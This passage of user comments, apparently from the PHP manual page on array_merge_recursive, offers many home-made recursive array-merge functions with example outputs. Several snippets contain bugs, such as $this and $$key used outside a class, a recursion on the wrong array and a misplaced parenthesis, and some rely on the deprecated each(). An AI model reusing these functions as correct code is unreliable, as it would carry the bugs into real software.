// result: Array ( [name] => Metehan [surname] => Arslan [age] => 28 [favs] => Array ( [language] => js [planet] => mercury [city] => shanghai ) )

function array_overlay($a1,$a2)
{
    foreach($a1 as $k => $v) {
        if ($a2[$k]=="::delete::"){
            unset($a1[$k]);
            continue;
        };
        if(!array_key_exists($k,$a2)) continue;
        if(is_array($v) && is_array($a2[$k])){
            $a1[$k] = array_overlay($v,$a2[$k]);
        }else{
            $a1[$k] = $a2[$k];
        }

    }
    return $a1;
}
?>
cezarion at cezarion dot net 09-Apr-2014 12:22
An updated version of  array_merge_recursive without overwriting numeric keys from martyniuk :
function array_merge_recursive_new()
 {
    $arrays = func_get_args();
        $base = array_shift($arrays);

        foreach ($arrays as $array) {
            reset($base); //important
            while (list($key, $value) = @each($array)) {
                if (is_array($value) && @is_array($base[$key])) {
                    $base[$key] = array_merge_recursive_new($base[$key], $value);
                } else {
                    if(isset($base[$key]) && is_int($key)) {
                      $key++;
                    }
                    $base[$key] = $value;
                }
            }
        }

    return $base;
  }
robert dot schlak at alcatel-lucent dot com 02-Jul-2012 04:39
The presence of NULLs; here is an example of the issue and a fix. Although it may not be apparent, if using array_merge_recursive in a loop to combine results from a database query or some other function, you can corrupt your result when NULLs are present in the data. I discovered this when migrating from an Oracle DB to a MySQL DB. I had to match the array structure returned from the PHP function calling the DB and got bit. The array_walk call fixed this for me.
This is a simple example that lacks any DB calls and looping. Assume your array had the DB column names (first, last, and age) and you needed to combine the data in a multi-dimensional array in which the column name is an array key with all rows beneath it. The corruption occurs in $a3. If using element position 2, one could create the fictitious 'pete johnson' because of the collapsing of elements.

<?php
print "<pre>Show corruption\\n";
$a1 = array('first'=>'bob', 'last'=>'jones', 'age'=>'48');
$a2 = array('first'=>'sam', 'last'=>'smith', 'age'=>'41');
$a3 = array('first'=>'pete', 'last'=>null, 'age'=>'3');
$a4 = array('first'=>'joe', 'last'=>'johnson', 'age'=>'33');
$a5 = array_merge_recursive($a1,$a2,$a3,$a4);
print_r($a5);

print "Show Fix\\n";
$a1 = array('first'=>'bob', 'last'=>'jones', 'age'=>'48');
$a2 = array('first'=>'sam', 'last'=>'smith', 'age'=>'41');
$a3 = array('first'=>'pete', 'last'=>null, 'age'=>'3');
array_walk($a3, 'null_to_empty');
$a4 = array('first'=>'joe', 'last'=>'johnson', 'age'=>'33');
$a5 = array_merge_recursive($a1,$a2,$a3,$a4);
print_r($a5);
print "</pre>\\n";

function null_to_empty(&$item) {

  $item = is_null($item) ? '' : $item;
}
?>
martyniuk dot vasyl at gmail dot com 24-Dec-2011 09:10
This is my version of array_merge_recursive without overwriting numeric keys:
<?php
function array_merge_recursive_new() {

        $arrays = func_get_args();
        $base = array_shift($arrays);

        foreach ($arrays as $array) {
            reset($base); //important
            while (list($key, $value) = @each($array)) {
                if (is_array($value) && @is_array($base[$key])) {
                    $base[$key] = array_merge_recursive_new($base[$key], $value);
                } else {
                    $base[$key] = $value;
                }
            }
        }

        return $base;
    }
?>
walf 25-May-2011 10:23
There are a lot of examples here for recursion that are meant to behave more like array_merge() but they don't get it quite right or are fairly customised. I think this version is most similar, takes more than 2 arguments and can be renamed in one place:

<?php

function array_merge_recursive_simple() {

    if (func_num_args() < 2) {
        trigger_error(__FUNCTION__ .' needs two or more array arguments', E_USER_WARNING);
        return;
    }
    $arrays = func_get_args();
    $merged = array();
    while ($arrays) {
        $array = array_shift($arrays);
        if (!is_array($array)) {
            trigger_error(__FUNCTION__ .' encountered a non array argument', E_USER_WARNING);
            return;
        }
        if (!$array)
            continue;
        foreach ($array as $key => $value)
            if (is_string($key))
                if (is_array($value) && array_key_exists($key, $merged) && is_array($merged[$key]))
                    $merged[$key] = call_user_func(__FUNCTION__, $merged[$key], $value);
                else
                    $merged[$key] = $value;
            else
                $merged[] = $value;
    }
    return $merged;
}

$a1 = array(
    88 => 1,
    'foo' => 2,
    'bar' => array(4),
    'x' => 5,
    'z' => array(
        6,
        'm' => 'hi',
    ),
);
$a2 = array(
    99 => 7,
    'foo' => array(8),
    'bar' => 9,
    'y' => 10,
    'z' => array(
        'm' => 'bye',
        11,
    ),
);
$a3 = array(
    'z' => array(
        'm' => 'ciao',
    ),
);
var_dump(array_merge($a1, $a2, $a3));
var_dump(array_merge_recursive_simple($a1, $a2, $a3));
var_dump(array_merge_recursive($a1, $a2, $a3));
?>

gives:

array(7) {              array(7) {              array(7) {
  int(1)                  int(1)                  int(1)
  ["foo"]=>               ["foo"]=>               ["foo"]=>
  array(1) {              array(1) {              array(2) {
    [0]=>                   [0]=>                   [0]=>
    int(8)                  int(8)                  int(2)
  }                       }                         [1]=>
  ["bar"]=>               ["bar"]=>                 int(8)
  int(9)                  int(9)                  }
  ["x"]=>                 ["x"]=>                 ["bar"]=>
  int(5)                  int(5)                  array(2) {
  ["z"]=>                 ["z"]=>                   [0]=>
  array(1) {              array(3) {                int(4)
    ["m"]=>                 [0]=>                   [1]=>
    string(4) "ciao"        int(6)                  int(9)
  }                         ["m"]=>               }
  [1]=>                     string(4) "ciao"      ["x"]=>
  int(7)                    [1]=>                 int(5)
  ["y"]=>                   int(11)               ["z"]=>
  int(10)                 }                       array(3) {
}                         [1]=>                     [0]=>
                          int(7)                    int(6)
                          ["y"]=>                   ["m"]=>
                          int(10)                   array(3) {
                        }                             [0]=>
                                                      string(2) "hi"
                                                      [1]=>
                                                      string(3) "bye"
                                                      [2]=>
                                                      string(4) "ciao"
                                                    }
                                                    [1]=>
                                                    int(11)
                                                  }
                                                  [1]=>
                                                  int(7)
                                                  ["y"]=>
                                                  int(10)
                                                }
andyidol at gmail dot com 10-Feb-2011 07:14
Here's my function to recursively merge two arrays with overwrites. Nice for merging configurations.

<?php

function MergeArrays($Arr1, $Arr2)
{
  foreach($Arr2 as $key => $Value)
  {
    if(array_key_exists($key, $Arr1) && is_array($Value))
      $Arr1[$key] = MergeArrays($Arr1[$key], $Arr2[$key]);

    else
      $Arr1[$key] = $Value;

  }

  return $Arr1;

}

?>
lsiq at papotam com 01-Oct-2010 01:17
<?php

//  this function merges an array with the $_SESSION
//  if you omit second parameter it merges to the root
//  if you give one 'path' array it is merged deeply

function arr2sess($arr, $path=array()){
   if (!is_array($arr)) return false;
   foreach($arr as $k => $v){
      if(is_array($arr[$k])) {
          $path[] = $k;
          arr2sess($arr[$k], $path);
      }else{
          $ref = &$_SESSION;
          if($path){
              foreach($path as $val){
                  if(!$ref[$val]) $ref[$val] = array();
                  $ref = &$ref[$val];
              }
          }
          $ref[$k] = $v;
      }
   }
}

session_start();
$x = array(k1=>12, k2=>array(kxx=>'forget me', kyy=>'I was allways here'));     // do you have any of this on $_SESSION
$rpl = array(k2=>array(kxx=>'I am a replaced value',kzz=>'I am a new value'));
arr2sess($x, array('deep','deep','in_session'));                                // you can use this way
arr2sess($x);                                                                   // or this
arr2sess($rpl);                                                                 // to merge parts with the $_SESSION

$w = array(120, q=>array(199,100));                                             // works the same way on numeric keys
arr2sess($w, array('one','two'));
arr2sess($w);

echo '<pre>';
print_r($_SESSION);

?>
mark dot roduner at gmail dot com 13-Feb-2010 11:34
<?php
/**
 * Merges any number of arrays / parameters recursively, replacing
 * entries with string keys with values from latter arrays.
 * If the entry or the next value to be assigned is an array, then it
 * automagically treats both arguments as an array.
 * Numeric entries are appended, not replaced, but only if they are
 * unique
 *
 * calling: result = array_merge_recursive_distinct(a1, a2, ... aN)
**/

function array_merge_recursive_distinct () {
  $arrays = func_get_args();
  $base = array_shift($arrays);
  if(!is_array($base)) $base = empty($base) ? array() : array($base);
  foreach($arrays as $append) {
    if(!is_array($append)) $append = array($append);
    foreach($append as $key => $value) {
      if(!array_key_exists($key, $base) and !is_numeric($key)) {
        $base[$key] = $append[$key];
        continue;
      }
      if(is_array($value) or is_array($base[$key])) {
        $base[$key] = array_merge_recursive_distinct($base[$key], $append[$key]);
      } else if(is_numeric($key)) {
        if(!in_array($value, $base)) $base[] = $value;
      } else {
        $base[$key] = $value;
      }
    }
  }
  return $base;
}
?>
drvali at hotmail dot com 05-Oct-2009 09:31
<?php
/**
 * Merges any number of arrays of any dimensions, the later overwriting
 * previous keys, unless the key is numeric, in whitch case, duplicated
 * values will not be added.
 *
 * The arrays to be merged are passed as arguments to the function.
 *
 * @access public
 * @return array Resulting array, once all have been merged
 */
function array_merge_replace_recursive() {
    // Holds all the arrays passed
    $params = & func_get_args ();

    // First array is used as the base, everything else overwrites on it
    $return = array_shift ( $params );

    // Merge all arrays on the first array
    foreach ( $params as $array ) {
        foreach ( $array as $key => $value ) {
            // Numeric keyed values are added (unless already there)
            if (is_numeric ( $key ) && (! in_array ( $value, $return ))) {
                if (is_array ( $value )) {
                    $return [] = $this->array_merge_replace_recursive ( $return [$$key], $value );
                } else {
                    $return [] = $value;
                }

            // String keyed values are replaced
            } else {
                if (isset ( $return [$key] ) && is_array ( $value ) && is_array ( $return [$key] )) {
                    $return [$key] = $this->array_merge_replace_recursive ( $return [$$key], $value );
                } else {
                    $return [$key] = $value;
                }
            }
        }
    }

    return $return;
}

$a = array (
    "a" => 1,
    "b" => 2,
    'foo',
    'bar'
);
$b = array (
    "a" => 2,
    "c" => 3,
    'foo'
);

$c = array_merge_replace_recursive ( $a, $b );
print_r ( $a );
print_r ( $b );
print_r ( $c );
?>

Output:
Array
(
    [a] => 1
    [b] => 2
    [0] => foo
    [1] => bar
)
Array
(
    [a] => 2
    [c] => 3
    [0] => foo
)
Array
(
    [a] => 2
    [b] => 2
    [0] => foo
    [1] => bar
    [c] => 3
)
gabriel dot sobrinho at gmail dot com 13-Jul-2009 07:56
I refactored the Daniel's function and I got it:

<?php
/**
 * array_merge_recursive does indeed merge arrays, but it converts values with duplicate
 * keys to arrays rather than overwriting the value in the first array with the duplicate
 * value in the second array, as array_merge does. I.e., with array_merge_recursive,
 * this happens (documented behavior):
 *
 * array_merge_recursive(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('org value', 'new value'));
 *
 * array_merge_recursive_distinct does not change the datatypes of the values in the arrays.
 * Matching keys' values in the second array overwrite those in the first array, as is the
 * case with array_merge, i.e.:
 *
 * array_merge_recursive_distinct(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('new value'));
 *
 * Parameters are passed by reference, though only for performance reasons. They're not
 * altered by this function.
 *
 * @param array $array1
 * @param array $array2
 * @return array
 * @author Daniel <daniel (at) danielsmedegaardbuus (dot) dk>
 * @author Gabriel Sobrinho <gabriel (dot) sobrinho (at) gmail (dot) com>
 */
function array_merge_recursive_distinct ( array &$array1, array &$array2 )
{
  $merged = $array1;

  foreach ( $array2 as $key => &$value )
  {
    if ( is_array ( $value ) && isset ( $merged [$key] ) && is_array ( $merged [$key] ) )
    {
      $merged [$key] = array_merge_recursive_distinct ( $merged [$key], $value );
    }
    else
    {
      $merged [$key] = $value;
    }
  }

  return $merged;
}
?>

This fix the E_NOTICE when the the first array doesn't have the key and the second array have a value which is a array.
jonnybergstrom at googles mail domain dot comm 27-Jun-2009 08:30
This function didn't work for me - or it didn't do what I thought it would. So I wrote the below function, which merges two arrays, and returns the resulting array. The base array is the left one ($a1), and if a key is set in both arrays, the right value has precedence. If a value in the left one is an array and also an array in the right one, the function calls itself (recursion). If the left one is an array and the right one exists but is not an array, then the right non-array-value will be used.

*Any key only appearing in the right one will be ignored*
 - as I didn't need values appearing only in the right in my implementation, but if you want that you could make some fast fix.

function array_merge_recursive_leftsource(&$a1, &$a2) {
    $newArray = array();
    foreach ($a1 as $key => $v) {
        if (!isset($a2[$key])) {
            $newArray[$key] = $v;
            continue;
        }

        if (is_array($v)) {
            if (!is_array($a2[$key])) {
                $newArray[$key] = $a2[$key];
                continue;
            }
            $newArray[$key] = array_merge_recursive_leftsource($a1[$key], $a2[$key]);
            continue;
        }

        $newArray[$key] = $a2[$key];
    }
    return $newArray;
}
michiel at synetic dot nl 22-May-2009 01:54
A small improvement upon the previously posted array_merge_recursive_distinct functions (based on daniel's version). This implementation preserves the parameter input from the original, you can pass an infinite amount of array's to merge.

<?php
function &array_merge_recursive_distinct()
{
    $aArrays = func_get_args();
    $aMerged = $aArrays[0];

    for($i = 1; $i < count($aArrays); $i++)
    {
        if (is_array($aArrays[$i]))
        {
            foreach ($aArrays[$i] as $key => $val)
            {
                if (is_array($aArrays[$i][$key]))
                {
                    $aMerged[$key] = is_array($aMerged[$key]) ? PR::array_merge_recursive_distinct($aMerged[$key], $aArrays[$i][$key]) : $aArrays[$i][$key];
                }
                else
                {
                    $aMerged[$key] = $val;
                }
            }
        }
    }

    return $aMerged;
}
?>
daniel at danielsmedegaardbuus dot dk 19-Mar-2009 02:18
<?php
/**
 * array_merge_recursive does indeed merge arrays, but it converts values with duplicate
 * keys to arrays rather than overwriting the value in the first array with the duplicate
 * value in the second array, as array_merge does. I.e., with array_merge_recursive,
 * this happens (documented behavior):
 *
 * array_merge_recursive(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('org value', 'new value'));
 *
 * array_merge_recursive_distinct does not change the datatypes of the values in the arrays.
 * Matching keys' values in the second array overwrite those in the first array, as is the
 * case with array_merge, i.e.:
 *
 * array_merge_recursive_distinct(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('new value'));
 *
 * Parameters are passed by reference, though only for performance reasons. They're not
 * altered by this function.
 *
 * @param array $array1
 * @param mixed $array2
 * @return array
 * @author daniel@danielsmedegaardbuus.dk
 */
function &array_merge_recursive_distinct(array &$array1, &$array2 = null)
{
  $merged = $array1;

  if (is_array($array2))
    foreach ($array2 as $key => $val)
      if (is_array($array2[$key]))
        $merged[$key] = is_array($merged[$key]) ? array_merge_recursive_distinct($merged[$key], $array2[$key]) : $array2[$key];
      else
        $merged[$key] = $val;

  return $merged;
}
?>
miniscalope at gmail dot com 04-Feb-2009 03:56
I would merge 2 arrays but keep the values unique in the result array.
I hope this will help...
<?php

function array_merge_recursive_unique($array1, $array2) {

    foreach($array2 AS $k => $v) {
        if(!isset($array1[$k]))
        {
            $array1[$k] = $v;
        }
        else
        {
            if(!is_array($v)){
                if(is_array($array1[$k]))
                {
                    if(!in_array($v,$array1[$k]))
                    {
                        $array1[$k][] = $v;
                    }
                }
                else
                {
                    if($array1[$k] != $v)
                        $array1[$k] = array($array1[$k], $v);
                 }
            }
            else
            {
                $array1[$k] =    array_merge_recursive_unique($array1,$array2[$k]);
            }

        }

    }
      unset($k, $v);
      return $array1;
}

?>
remy dot damour at -please-no-spam-laposte dot net 21-Jan-2009 06:28
If what you want is merge all values of your array that are arrays themselves to get a resulting array of depth one, then you're more looking for array_flatten function.

Unfortunately I did not find such native function in php, here is the one I wrote:

<?php
/**
 * Flatten an array so that resulting array is of depth 1.
 * If any value is an array itself, it is merged by parent array, and so on.
 *
 * @param array $array
 * @param bool $preserver_keys OPTIONAL When true, keys are preserved when mergin nested arrays (=> values with same key get overwritten)
 * @return array
 */
function array_flatten($array, $preserve_keys = false)
{
    if (!$preserve_keys) {
        // ensure keys are numeric values to avoid overwritting when array_merge gets called
        $array = array_values($array);
    }

    $flattened_array = array();
    foreach ($array as $k => $v) {
        if (is_array($v)) {
            $flattened_array = array_merge($flattened_array, call_user_func(__FUNCTION__, $v, $preserve_keys));
        } elseif ($preserve_keys) {
            $flattened_array[$k] = $v;
        } else {
            $flattened_array[] = $v;
        }
    }
    return $flattened_array;
}

// example
$a = array ('k1' => 'a', 'k2' => array('k1' => 'b', 'k4' => array('k3' => 'c')));
var_export(array_flatten($a)); // output: array(0 => 'a', 1 => 'b', 2 => 'c')
var_export(array_flatten($a, true)); // output: array('k1' => 'b', 'k3' => 'c') // first 'k1' value gets overwritten by nested 'k1' value
?>
phil dot kemmeter at gmail dot com 08-Dec-2008 10:45
I've edit this version even a little bit more, so that the function does not override any values, but inserts them at a free key in the array:

function my_array_merge ($arr,$ins) {
    if(is_array($arr))
    {
        if(is_array($ins)) foreach($ins as $k=>$v)
        {
            if(isset($arr[$k])&&is_array($v)&&is_array($arr[$k]))
            {
                $arr[$k] = my_array_merge($arr[$k],$v);
            }
            else {
                // This is the new loop :)
                while (isset($arr[$k]))
                    $k++;
                $arr[$k] = $v;
            }
        }
    }
    elseif(!is_array($arr)&&(strlen($arr)==0||$arr==0))
    {
        $arr=$ins;
    }
    return($arr);
}

Example:

$array1 = array(
    100 => array(30),
    200 => array(20, 30)
);

$array2 = array(
    100 => array(40),
    201 => array(60, 30)
);

print_r(my_array_merge($array1,$array2));

Output with array_merge_recursive:
Array
(
    [0] => Array
        (
            [0] => 30
        )

    [1] => Array
        (
            [0] => 20
            [1] => 30
        )

    [2] => Array
        (
            [0] => 40
        )

)
This is not the result, I expect from a MERGE-Routine...

Output with the current function:

Array
(
    [100] => Array
        (
            [0] => 30
            [1] => 40
        )

    [200] => Array
        (
            [0] => 20
            [1] => 30
        )

)

This is what I want :)
scott dot clark at vizioninteractive dot com 28-Aug-2008 01:55
Needed some way to fuse two arrays together and found a function here (below from thomas) and decided to update it even further to be a little more smart.

<?php
function my_array_merge ($arr,$ins)
    {
        if(is_array($arr))
            {
                if(is_array($ins)) foreach($ins as $k=>$v)
                    {
                        if(isset($arr[$k])&&is_array($v)&&is_array($arr[$k]))
                            {
                                $arr[$k] = my_array_merge($arr[$k],$v);
                            }
                        else $arr[$k] = $v;
                    }
            }
        elseif(!is_array($arr)&&(strlen($arr)==0||$arr==0))
            {
                $arr=$ins;
            }
        return($arr);
    }
?>
thomas at n-o-s-p-a-m dot thoftware dot de 04-May-2008 06:50
This is a simple, three line approach.

Short description: If one of the Arguments isn't an Array, first Argument is returned. If an Element is an Array in both Arrays, Arrays are merged recursively, otherwise the element in $ins will overwrite the element in $arr (regardless if key is numeric or not). This also applys to Arrays in $arr, if the Element is scalar in $ins (in difference to the previous approach).

  function array_insert($arr,$ins) {
    # Loop through all Elements in $ins:
    if (is_array($arr) && is_array($ins)) foreach ($ins as $k => $v) {
      # Key exists in $arr and both Elemente are Arrays: Merge recursively.
      if (isset($arr[$k]) && is_array($v) && is_array($arr[$k])) $arr[$k] = array_insert($arr[$k],$v);
      # Place more Conditions here (see below)
      # ...
      # Otherwise replace Element in $arr with Element in $ins:
      else $arr[$k] = $v;
    }
    # Return merged Arrays:
    return($arr);
  }

In Addition to felix dot ospald at gmx dot de in my opinion there is no need to compare keys with type-casting, as a key always is changed into an integer if it could be an integer. Just try

$a = array('1'=>'1');
echo gettype(key($a));

It will echo 'integer'. So for having Integer-Keys simply appended instead of replaced, add the Line:

  elseif (is_int($k)) $arr[] = $v;

A Condition I used is:

  elseif (is_null($v)) unset($arr[$k]);

So a NULL-Value in $ins will unset the correspondig Element in $arr (which is different to setting it to NULL!). This may be another Addition to felix dot ospald at gmx dot de: The absolute correct way to check for a Key existing in an Array is using array_key_exists() (not needed in the current context, as isset() is combined with is_array()). array_key_exists() will return TRUE even if the Value of the Element is NULL.

And the last one: If you want to use this approach for more than 2 Arrays, simply use this:

  function array_insert_mult($arr) {
    # More than 1 Argument: Append all Arguments.
    if (func_num_args() > 1) foreach (array_slice(func_get_args(),1) as $ins) $arr = array_insert($arr,$ins);
    # Return merged Arrays:
    return($arr);
  }

And if you worry about maintaining References: Simply use $ins[$k] instead of $v when assigning a Value/using a Value as Argument.
felix dot ospald at gmx dot de 26-Feb-2008 11:23
If you desire correct and performant behaviour (in contrast to the other postings) use this code. It works as documented above.
If you want that keys are always perserved and not appended or renumbered if they are numeric comment out the "if (((string) $key) === ((string) intval($key)))" case.
@spambegone at cratemedia dot com: using empty is not right way to check if an item is in the array use isset!

<?php

function array_merge_recursive2($array1, $array2)
{
    $arrays = func_get_args();
    $narrays = count($arrays);

    // check arguments
    // comment out if more performance is necessary (in this case the foreach loop will trigger a warning if the argument is not an array)
    for ($i = 0; $i < $narrays; $i ++) {
        if (!is_array($arrays[$i])) {
            // also array_merge_recursive returns nothing in this case
            trigger_error('Argument #' . ($i+1) . ' is not an array - trying to merge array with scalar! Returning null!', E_USER_WARNING);
            return;
        }
    }

    // the first array is in the output set in every case
    $ret = $arrays[0];

    // merege $ret with the remaining arrays
    for ($i = 1; $i < $narrays; $i ++) {
        foreach ($arrays[$i] as $key => $value) {
            if (((string) $key) === ((string) intval($key))) { // integer or string as integer key - append
                $ret[] = $value;
            }
            else { // string key - megre
                if (is_array($value) && isset($ret[$key])) {
                    // if $ret[$key] is not an array you try to merge an scalar value with an array - the result is not defined (incompatible arrays)
                    // in this case the call will trigger an E_USER_WARNING and the $ret[$key] will be null.
                    $ret[$key] = array_merge_recursive2($ret[$key], $value);
                }
                else {
                    $ret[$key] = $value;
                }
            }
        }
    }

    return $ret;
}

// Examples:

print_r(array_merge_recursive2(array('A','B','C' => array(1,2,3)), array('D','C' => array(1,4))));
/*
Array
(
    [0] => A
    [1] => B
    [C] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
            [3] => 1
            [4] => 4
        )
    [2] => D
)*/

print_r(array_merge_recursive2(array('A','B','0' => array(1,2,3)), array('D','0' => array(1,array(4)))));
/*
Array
(
    [0] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )
    [1] => B
    [2] => Array
        (
            [0] => 1
            [1] => Array
                (
                    [0] => 4
                )
        )
)*/

print_r(array_merge_recursive2(array('A' => array('A' => 1)), array('A' => array('A' => array(2)))));
/*
Warning: Argument #1 is not an array - trying to merge array with scalar! Returning null! in ... on line ...
*/

var_dump(array_merge_recursive2(array('A' => array('A' => 2)), array('A' => array('A' => null))));
/*
array(1) { ["A"]=>  array(1) { ["A"]=>  NULL } }
*/

?>
spambegone at cratemedia dot com 12-Feb-2008 02:06
I've tried these array_merge_recursive functions without much success. Maybe it's just me but they don't seem to actually go more than one level deep? As with all things, its usually easier to write your own, which I did and it seems to work just the way I wanted. Anyways, my function hasn't been tested extensively, but it's a simple function, so in hopes that this might be useful to someone else I'm sharing.

Also, the PHP function array_merge_recursive() didn't work for my purposes because it didn't overwrite the values like I needed it to. You know how it works, it just turns it into an array with multiple values... not helpful if your code is expecting one string.

function array_merge_recursive_unique($array1, $array2) {

    // STRATEGY
    /*
    Merge array1 and array2, overwriting 1st array values with 2nd array
    values where they overlap. Use array1 as the base array and then add
    in values from array2 as they exist.

    Walk through each value in array2 and see if a value corresponds
    in array1. If it does, overwrite with second array value. If it's an
    array, recursively execute this function and return the value. If it's
    a string, overwrite the value from array1 with the value from array2.

    If a value exists in array2 that is not found in array1, add it to array1.
    */

    // LOOP THROUGH $array2
    foreach($array2 AS $k => $v) {

        // CHECK IF VALUE EXISTS IN $array1
        if(!empty($array1[$k])) {
            // IF VALUE EXISTS CHECK IF IT'S AN ARRAY OR A STRING
            if(!is_array($array2[$k])) {
                // OVERWRITE IF IT'S A STRING
                $array1[$k]=$array2[$k];
            } else {
                // RECURSE IF IT'S AN ARRAY
                $array1[$k] = array_merge_recursive_unique($array1[$k], $array2[$k]);
            }
        } else {
            // IF VALUE DOESN'T EXIST IN $array1 USE $array2 VALUE
            $array1[$k]=$v;
        }
    }
    unset($k, $v);

    return $array1;
}
paha at paha dot hu 12-Mar-2007 12:02
In this version the values are overwritten only if they are not an array.  If the value is an array, its elements will be merged/overwritten:

// array_merge_recursive which override value with next value.
// based on: http://www.php.net/manual/hu/function.array-merge-recursive.php 09-Dec-2006 03:38
function array_merge_recursive_unique($array0, $array1)
{
    $arrays = func_get_args();
    $remains = $arrays;

    // We walk through each arrays and put value in the results (without
    // considering previous value).
    $result = array();

    // loop available array
    foreach($arrays as $array) {

        // The first remaining array is $array. We are processing it. So
        // we remove it from remaing arrays.
        array_shift($remains);

        // We don't care non array param, like array_merge since PHP 5.0.
        if(is_array($array)) {
            // Loop values
            foreach($array as $key => $value) {
                if(is_array($value)) {
                    // we gather all remaining arrays that have such key available
                    $args = array();
                    foreach($remains as $remain) {
                        if(array_key_exists($key, $remain)) {
                            array_push($args, $remain[$key]);
                        }
                    }

                    if(count($args) > 2) {
                        // put the recursion
                        $result[$key] = call_user_func_array(__FUNCTION__, $args);
                    } else {
                        foreach($value as $vkey => $vval) {
                            $result[$key][$vkey] = $vval;
                        }
                    }
                } else {
                    // simply put the value
                    $result[$key] = $value;
                }
            }
        }
    }
    return $result;
}
randallgirard at hotmail dot com 26-Nov-2006 01:18
I wrote the following for merging arrays, in my project mainly for configuration... Thought someone else might find it usefull.

function array_merge_recursive_keys( $first, $second, $greedy=false) {
   $inter = array_intersect_assoc(array_keys($first), array_keys($second)); # shaired keys
# the idea next, is to strip and append from $second into $first
   foreach ( $inter as $key ) {
   # recursion if both are arrays
      if ( is_array($first[$key]) && is_array($second[$key]) ) {
         $first[$key] = array_merge_recursive_keys($first[$key], $second[$key]);
      }
   # non-greedy array merging:
      else if ( is_array($first[$key] && !$greedy ) ) {
         $first[$key][] = $second[$key];
      }
      else if ( is_array($second[$key]) && !$greedy ) {
         $second[$key][] = $first[$key];
         $first[$key] = $second[$key];
      }
   # overwrite...
      else {
         $first[$key] = $second[$key];
      }
      unset($second[$key]);
   }
# merge the unmatching keys onto first
   return array_merge($first, $second);
}
thiago dot mata at yahoo dot com dot br 30-Sep-2006 12:25
<?php
    function array_merge_recursive_keep_keys( $arrElement1 , $arrElement2 , $intCount = 0 )
    {

        $arrNew = array();

        $arrElement1Keys = array_keys( $arrElement1 );
        $arrElement2Keys = array_keys( $arrElement2 );

        $arrDifKeys1 = array_diff( $arrElement1Keys, $arrElement2Keys );
        $arrDifKeys2 = array_diff( $arrElement2Keys, $arrElement1Keys );
        $arrInter     = array_intersect( $arrElement1Keys , $arrElement2Keys );

        foreach( $arrDifKeys1 as $strKey1)
        {
            $arrNew[ $strKey1 ] = $arrElement1[ $strKey1 ];
        }
        foreach( $arrDifKeys2 as $strKey2)
        {
            $arrNew[ $strKey2 ] = $arrElement2[ $strKey2 ];
        }
        foreach( $arrInter as $strInterKey )
        {
            if( is_array( $arrElement1[ $strInterKey ] ) && is_array( $arrElement2[ $strInterKey ] ) )
            {
                $intCount++;
                $arrNew[ $strInterKey ] = array_merge_recursive_keep_keys( $arrElement1[ $strInterKey ] , $arrElement2[ $strInterKey ] , $intCount );
            }
            elseif( is_array( $arrElement1[ $strInterKey ] ) || is_array( $arrElement2[ $strInterKey ] ) )
            {
                $arrNew[ $strInterKey ][]    =  $arrElement1[ $strInterKey ];
                $arrNew[ $strInterKey ][]    =  $arrElement2[ $strInterKey ];
            }
            else
            {
                $arrNew[ $strInterKey ] = array();
                $arrNew[ $strInterKey ][] = $arrElement1[ $strInterKey ];
                $arrNew[ $strInterKey ][] = $arrElement2[ $strInterKey ];
            }
        }
        return $arrNew;
    }
?>
smilingrasta 07-Jul-2006 10:04
This function tends to reindex arrays, which is not  mentioned in the function description.

I just tried to run that function on a three dimensional array, containing errormessages.
The first dim. contains the severity of the error ('warn', 'crit') the second dim the linenumber (numerical) and the third one consists of errormessages

<?php
# Array printout:
Array
 (
   [warn] => Array  // severity (associative)
    (
      [2] => Array  // linenumber (numerical)
       (
         [0] => "Category does not exist"
         [1] => "Manufacturer does not exist"
       )
    )
 )

?>

If i now merge two or more of those arrays using array_merge_recursive(), the linenumbers are not conserved. Instead of, they are all renumbered, starting with 0.

Just thought anyone may want to know about that. :)
regards, smilingrasta
manicdepressive at mindless dot com 22-Jun-2004 07:30
Please be aware that under circumstances where you have
both the key and value common between the two arrays at a given node,
array_merge_recursive() will behave differently if that value is NULL,
as opposed to a non-null value.

i.e., I expected the results of the first two sections below to
have the same structure, but they don't.
If this might apply to you, please see for yourself.

<pre><?php

$a1 = array('a'=>'b');
$a2 = array('a'=>'b');
$a3 = array_merge_recursive($a1,$a2);
var_export($a3);
echo "\n\n";

$a1 = array('a'=>NULL);
$a2 = array('a'=>NULL);
$a3 = array_merge_recursive($a1,$a2);
var_export($a3);
echo "\n\n";

$a1 = array('a'=>'b');
$a2 = array('a'=>NULL);
$a3 = array_merge_recursive($a1,$a2);
var_export($a3);
echo "\n\n";

?></pre>

This behavior also occurs if the value is the empty array.
In fact, in the above example, interchanging the empty array with
any and all occurences of NULL will yield the same result.

    code till dawn!  -mark
brian at vermonster dot com 25-May-2004 02:44
Here is a fairly simple function that replaces while recursing.

<?php
/**
 * array_merge_recursive2()
 *
 * Similar to array_merge_recursive but keyed-valued are always overwritten.
 * Priority goes to the 2nd array.
 *
 * @static yes
 * @public yes
 * @param $paArray1 array
 * @param $paArray2 array
 * @return array
 */
function array_merge_recursive2($paArray1, $paArray2)
{
    if (!is_array($paArray1) or !is_array($paArray2)) { return $paArray2; }
    foreach ($paArray2 AS $sKey2 => $sValue2)
    {
        $paArray1[$sKey2] = array_merge_recursive2(@$paArray1[$sKey2], $sValue2);
    }
    return $paArray1;
}

?>

Examples:
<?php

$array1 = array(
    'liquids' => array(
        'water' => array('cold', 'fizzy', 'clean')
        ,'beer' => 'warm'
    )
);

$array2 = array(
    'liquids' => array(
        'water' => 'hot'
        ,'milk' => 'wet'
    )
);

$result1 = array_merge_recursive2($array1, $array2);
$result2 = array_merge_recursive2($array2, $array1);
?>

Result 1 is:
Array
(
    [liquids] => Array
        (
            [water] => hot
            [beer] => warm
            [milk] => wet
        )
)

Result 2 is:
Array
(
    [liquids] => Array
        (
            [water] => Array
                (
                    [0] => cold
                    [1] => fizzy
                    [2] => clean
                )

            [milk] => wet
            [beer] => warm
        )
)
paska at kios dot sk 04-Mar-2004 02:18
This emulates replace of $_REQUEST according to variable_order=GPC.
<?
    function array_merge_replace($array, $newValues) {
        foreach ($newValues as $key => $value ) {
            if (is_array($value)) {
                if (!isset($array[$key])) {
                    $array[$key] = array();
                }
                $array[$key] = array_merge_replace($array[$key], $value);
            } else {
                $array[$key] = $value;
            }
        }
        return $array;
    }

    $_REQUEST = array_merge_replace($_REQUEST, $_GET);
